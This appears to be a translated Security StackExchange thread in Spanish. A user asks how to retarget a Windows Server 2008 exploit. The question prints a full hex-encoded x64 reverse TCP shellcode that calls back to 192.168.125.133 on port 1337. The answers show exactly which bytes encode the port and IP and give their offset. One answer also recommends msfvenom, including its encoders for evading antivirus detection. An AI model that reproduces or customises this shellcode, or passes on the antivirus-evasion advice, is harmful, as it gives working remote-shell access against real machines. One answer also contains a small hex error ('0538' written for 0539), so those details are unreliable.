¿Cómo modificar el código hexadecimal en el exploit para cumplir mis requisitos?

5

Estaba buscando en el último exploit para Windows Server 2008 aquí . Cuando intenté modificar el código para adaptarlo a mis necesidades, me quedé atascado en esta línea:

# Shellcode TCP Reverse to 192.168.125.133 1337 
reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

Esto es para la dirección IP "192.168.125.133" con el puerto "1337". ¿Cómo puedo cambiar este código "hexadecimal", aunque no estoy seguro de que sea realmente hexadecimal porque no se convirtió a asci? ¿Alguna ayuda para editar el código de mi dirección IP y el puerto que quiero?

    
pregunta user156894 16.08.2017 - 05:28
fuente

2 respuestas

1

Debe cambiar el código hexadecimal para el puerto y la IP, que es 192.168.125.133 == c0.a8.7d.85 , y el puerto 1337 es 0539

En tu código encontrarás ambos aquí:

fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200 0539 c0a87d85 41544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5

Simplemente cambia ambos valores a los que necesitas.

    
respondido por el fr00tyl00p 15.11.2017 - 10:41
fuente
0

Si observa detenidamente, primero encuentra el puerto y luego la dirección IP en big endian. Dado que los puertos se representan como enteros "cortos", generalmente son 2 bytes. Las direcciones IPv4 se representan como 4 bytes, por lo que está buscando una cadena larga de 6 bytes o una cadena hexagonal de 12 caracteres (dados 2 caracteres hexadecimales = 1 byte de datos). Esto le daría la cadena '0539c0a87d85' donde '0538' es hexadecimal para 1337, y el resto de la cadena contiene los valores de 4 bytes que ve en una dirección IPv4 (los valores decimales entre cada período representado como hexadecimal). Un simple comando de Python revela que esta cadena se encuentra en el índice 232 (en la versión sin especificar). Modifique los seis bytes allí y personalizará su código de shell.

Sin embargo, si su objetivo aquí no es necesariamente profundizar en los detalles de shellcode y, simplemente, reemplazar el shellcode por lo que sea que necesite (tal vez desee algo más que un shell inverso), le recomiendo que eche un vistazo en el marco de metasploit, en particular la herramienta msfvenom . Es una gran herramienta para generar shellcode personalizado e incluso le permite agregar codificadores para ofuscar el shellcode, lo que dificulta que los motores antivirus detecten la firma. Puede encontrar más información sobre cómo usarlo en Github .

    
respondido por el saltthehash 17.08.2017 - 07:17
fuente

Lea otras preguntas en las etiquetas